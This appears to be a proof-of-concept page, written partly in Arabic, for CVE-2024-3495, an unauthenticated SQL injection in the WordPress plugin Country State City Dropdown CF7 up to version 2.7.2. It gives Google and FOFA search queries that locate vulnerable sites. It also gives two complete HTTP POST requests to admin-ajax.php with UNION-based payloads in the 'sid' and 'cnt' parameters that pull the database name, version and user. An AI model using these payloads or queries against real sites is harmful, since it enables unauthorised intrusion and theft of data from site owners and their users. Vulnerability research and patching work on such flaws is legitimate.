CVE-2024-3495-Poc

CVE-2024-3495 Country State City Dropdown CF7 <= 2.7.2 - حقن SQL غير مصادق عليه

الوصف

إن إضافة Country State City Dropdown CF7 في WordPress معرضة لحقن SQL عبر المعاملين 'cnt' و'sid' في الإصدارات حتى 2.7.2 وما يتضمنه، وذلك بسبب عدم كفاية التهريب (escaping) للمعامل المقدم من المستخدم وعدم وجود تحضير كافٍ لاستعلام SQL الحالي

https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/country-state-city-auto-dropdown/country-state-city-dropdown-cf7-272-unauthenticated-sql-injection

inurl:"/wp-content/plugins/country-state-city-auto-dropdown/"

https://x.com/fofabot/status/1793477848428364155
FOFA Query: body="/wp-content/plugins/country-state-city-auto-dropdown/"
https://en.fofa.info/result?qbase64=Ym9keT0iL3dwLWNvbnRlbnQvcGx1Z2lucy9jb3VudHJ5LXN0YXRlLWNpdHktYXV0by1kcm9wZG93bi8i

الملف: includes\ajax-actions.php

تم العثور على nonce

إثبات المفهوم (PoC):

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: <Host>
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 172

action=tc_csca_get_cities&nonce_ajax={{nonce}}&sid=1+or+0+union+select+concat(0x64617461626173653a,database(),0x7c76657273696f6e3a,version(),0x7c757365723a,user()),2,3--+-

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: <Host>
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 172

action=tc_csca_get_states&nonce_ajax={{nonce}}&cnt=1+or+0+union+select+concat(0x64617461626173653a,database(),0x7c76657273696f6e3a,version(),0x7c757365723a,user()),2,3--+-

CVE-2024-3495-Poc

الأكثر شعبية

CVE-2024-3495-Poc